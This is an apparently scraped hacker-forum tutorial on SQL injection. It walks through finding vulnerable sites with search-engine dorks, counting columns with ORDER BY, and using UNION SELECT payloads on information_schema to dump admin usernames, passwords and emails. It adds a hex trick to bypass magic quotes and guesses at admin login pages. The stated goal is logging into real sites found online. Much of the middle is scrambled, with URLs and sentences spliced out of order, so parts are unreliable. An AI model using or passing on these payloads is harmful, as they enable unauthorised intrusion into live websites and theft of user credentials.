This action might not be possible to undo. Are you sure you want to continue?
SECTION 1 - Searching for the vulnerability inurl:buy.php?id= This will be inputted into a search engine and because of the "inurl:" part of the dork, the search engine will return results with URLs that contain the same characters. Some of the sites that have this dork on their website may be vulnerable to SQL injection. Now let's say we found the page that looks like this http://www.site.com/buy.php?id=1 In order to test this site all we need to do is add a ' either in between the "=" sign and the "1" or after the "1" so it looks like this: http://www.site.com/buy.php?id=1' or http://www.site.com/buy.php?id='1 After pressing enter, if this website should return an error such as the following:
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home1/michafj0/public_html/gallery.php on line 7
Or something along those lines, this means it's vulnerable to injection. In some cases where you are to find a website such as this: http://www.site.com/buy.php?id=1&dog;catid=2 Then you must use the same technique with adding a ' except it must be between the value (in this case the number) and the operator (the "=" sign) so it looks like this: http://www.site.com/buy.php?id='1&dog;catid='2 There are programs that will do this for you but to start off I would suggest simply to do things manually, using Google, and so I won't post any for you guys. If you feel so compelled to use one anyways. I recommend the Exploit Scanner by Reiluke.
<---No error http://www.Determining the amount of columns In order for us to be able to use commands and get results we must know how many columns there are on a website. So to find the number of columns we must use a very complex and advanced method that I like to call "Trial and Error" with the ORDER BY command NOTE: SQL does not care whether or not your letters are capitalized or not and I'm just doing it out of clarity. for all it cares your queries could look like this: http://www.com/buy.com/buy. To find the number of columns we write a query with incrementing values until we get an error.php?id=-1 UNION SELECT 1. like this: http://www.php?id=-1 Now after entering that query you should be able to see some numbers somewhere on the page that seem out of place.php?id=1 ORDER BY 4-. it's the extra null in between the "=" sign and the value (the number).2. To do this we use the UNION and SELECT queries while keeping the double null (--) at the end of the string. VERY IMPORTANT! SECTION 3 . see if you can spot it. .<---No error http://www.site.4-If you couldn't spot the difference.<---No error http://www.php?id=1 ORDER BY 3-.Finding which columns are vulnerable So we know that there are four columns now we have to find out which ones are vulnerable to injection.com/buy.<---No error http://www.site.com/buy.site.php?id=1 ORDER BY 5-.com/buy.<---ERROR! This means that there are FOUR columns! DON'T FORGET TO INCLUDE THE DOUBLE NULL (--) AFTER THE QUERY. There is also one other difference that is small in size but not in importance. http://www.com/buy.php?id=1 ORDER BY 2-.SECTION 2 .site. Those are the numbers of the columns that are vulnerable to injection.com/buy.php?id=-1 CaN I HaZ TeH PaSSwOrDs? PLz aNd ThX IT DOESN'T MATTER (btw please don't think that was an actual command).site.php?id=1 ORDER BY 1-.3. buy.site. So back to the ORDER BY command. We can use those columns to pull information from the database which we will see in Part Two.site.
1. it must be used for the rest of the injection as well.4-Because 2 is the vulnerable column.php?id=-1 UNION SELECT 1. If we look back to the end of Section Three in Part One we saw how to find the vulnerable columns. Finding the version of the SQL of the website is a very important step because the steps you take for version 4 are quite different from version 5 in order to get what you want. Determining the SQL version. If the website still does not display the version try using unhex(hex()) which looks like this: http://www.group_concat(schema_name). Another string that could replace "@@version" is "version()".com/buy.3.php?id=-1 UNION SELECT 1. NOTE: If you see version 4 and you would like to have a go at it.schemata-This could sometimes return more results than necessary and so that is when we switch over .php?id=-1 UNION SELECT 1. To find the database we use a query like the one below: http://www.com/buy. it's not worth your time.Part Two . In this tutorial. The command should look like this: http://www. Now what you want to see is something along these lines: 5. Using that information we can put together our next query (I will be using column 2). Finding the database Finding the name of the database is not always a necessary step to take to gather the information that you want.47-community-log which is the version of SQL for the website.3.4- NOTE: If this method must be used here.com/buy.4 from information_schema.unhex(hex(@@version)).site. there are other tutorials that explain how to inject into it.site. however in my experience folllowing these steps and finding the database may sometimes lead to a higher success rate. this is where we will place "@@version".@@version. I will not be covering version 4 because it really is a guessing game and for the kind of sites that are still using it.site.3.Gathering Information In this part we will discover how to find the name of the database and what version of SQL the website is using by using queries to exploit the site.
1-Notice how my limit was 30.tables where the "table schema" (table_schema) can be found in the "database" (database()). http://www.php?id=-1 UNION SELECT 1.1-What this does is it shows the first and only the first table.group_concat(table_name). Usually they're tables like User(s). emails and passwords! Finding the table names To find the table names we use a query that is similar to the one used for finding the database with a little bit extra added on: http://www.com/buy.3.1 which means that the 30th is actually the 31st You now have all the table names! Finding the column names Now that you have all of the table names try and pick out the one that you think would contain the juicy information.php?id=-1 UNION SELECT 1.to this query instead: http://www. The Good Stuff This is the fun part where we will find the usernames.site.4-Welldone hacker! You now have the name of the database! Copy and paste the name somewhere safe.php?id=-1 UNION SELECT 1.site.1 instead of 31.1? This is because when using limit is starts from 0.3.site.4 FROM information_schema.com/buy.tables WHERE table_schema=database()-It may look long and confusing but once you understand it.4 FROM information_schema.3.concat(database()).tables WHERE table_schema=database() LIMIT 30.table_name. .site.table_name.php?id=-1 UNION SELECT 1.com/buy.com/buy. it really isn't so I'll try to explain.3. tblUser(s) and so on but it varies between sites. So if we were to run out of characters on let's say the 31st table we could use this query: http://www. NOTE: While using group_concat you will only be able to see 1024 characters worth of tables so if you notice that a table is cut off on the end switch over to limit which I will explain now.4 FROM information_schema. What this query does is it "groups" (group_concat) the "table names" (table_name) together and gathers that information "from" (FROM) information_schema.tables WHERE table_schema=database() LIMIT 0. Admin(s). we'll need it for later.
Paste the name of the table into this website where it says "Say Hello To My Little Friend". NOTE: Using the limit function does work with columns as well.3.site. and "email".site.4 FROM information_schema. Copy the name of the table that you are trying to access.0x3a.columns WHERE table_name=0x41646d696e-Notice how before I pasted the hex I added a "0x".4 FROM db123.0x3a.php?id=-1 UNION SELECT 1.group_concat(username.group_concat(column_name). I'll be using the table name "Admin"): http://www.4 FROM information_schema. 4. This can be bypassed by using a hex or char converter (they both work) to convert the normal text into char or hex (a link to a website that does this will be included at the end of the tutorial). and my database name will be "db123"). "password".email). 2.php?id=-1 UNION SELECT 1. use this query (in my example.swingnote.Admin-- . UPDATE: If you get an error at this point all you must do is follow these steps: 1.columns WHERE table_name="Admin"-This will either give you a list of all the columns within the table or give you an error but don't panic if it is outcome #2! All this means is that Magic Quotes is turned on.3.password. You should now see a list of all the columns within the table such as username. Hex/Char Converter Spoiler (Click to View) http://www.php 3.com/tools/texttohex.com/buy. This is where the database name comes in handy: http://www.com/buy.site. Click convert.com/buy. Copy the string of numbers/letters under Hex into your query so it looks like this: http://www. Displaying the column contents We're almost done! All we have left to do is to see what's inside those columns and use the information to login! To view the columns we need to decide which ones we want to see and then use this query (in this example I want to view the columns "username". all this does is tells the server that the following characters are part of a hex string.After deciding which table you think contains the information.php?id=-1 UNION SELECT 1. password.group_concat(column_name). and email.3.
com/adminlogin http://www.site.site.com/moderator Once again there are programs that will find the page for you but first try some of the basic guesses. it might save you a couple of clicks. including the admin. If you do use a program Reiluke has coded one for that as well. FINALLY! Now you have the login information for the users of the site. . here are some examples: http://www.site.In this query.site. 0x3a is the hex value of a colon (:) which will group the username:password:email for the individual users just like that.com/admin http://www.com/modlogin http://www. All you have to do now is find the admin login page which brings us to the last section Finding the admin page Usually the admin page will be directly off of the site's home page. Search Admin Finder by Reiluke.